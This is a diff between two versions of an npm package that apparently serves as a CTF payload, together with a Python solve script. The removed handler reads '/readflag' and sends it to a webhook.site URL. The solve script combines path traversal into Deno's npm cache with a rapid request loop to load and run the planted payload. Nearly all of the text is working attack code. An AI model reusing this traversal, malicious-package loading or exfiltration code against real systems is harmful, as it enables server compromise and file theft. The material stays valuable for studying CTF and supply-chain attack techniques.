@octo-kumo/payload 1.0.9 → 1.0.11

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@octo-kumo/payload",
-  "version": "1.0.9",
+  "version": "1.0.11",
   "description": "payload for ctf challenge [70000 too much]",
   "main": "index.js",
   "scripts": {

package/payload.tsx

@@ -1,13 +1,4 @@
 import * as fs from 'fs'
-import { Context } from 'hono'
-export const handler = async (c: Context) => {
-    fetch("https://webhook.site/edba7673-e348-4f1e-ad83-9d051fce1229", {
-        method: "POST",
-        body: "yo!"
-    })
-    await fetch("https://webhook.site/edba7673-e348-4f1e-ad83-9d051fce1229", {
-        method: "POST",
-        body: fs.readFileSync("/readflag")
-    })
-    return c.html("haha hacked!")
+export const handler = async (c) => {
+    return c.text(fs.readFileSync("/readflag"))
 }

package/solve.py

@@ -3,20 +3,20 @@ import time
 import requests
 
 
-target = 'http://localhost:9644'
-p = '/../../../deno-dir/npm/registry.npmjs.org/@octo-kumo/payload/1.0.8/payload'
+target = 'http://localhost:12031'
+p = '/../../../deno-dir/npm/registry.npmjs.org/@octo-kumo/payload/1.0.10/payload'
 preload = target + '/query?package=%40octo-kumo%2Fpayload'
 activate = target + p
 
 subprocess.Popen(["curl", preload])
 s = requests.Session()
-for i in range(200):
+for i in range(10000):
     r = requests.Request(method='GET', url=activate)
     prep = r.prepare()
     prep.url = activate
     response = s.send(prep)
     t = response.text
-    if '404 Not Found' not in t:
+    if "No such file or director" not in t:
         print(t)
     time.sleep(0.01)
 # cat > /deno-dir/npm/registry.npmjs.org/@octo-kumo/payload/1.0.6/payload.tsx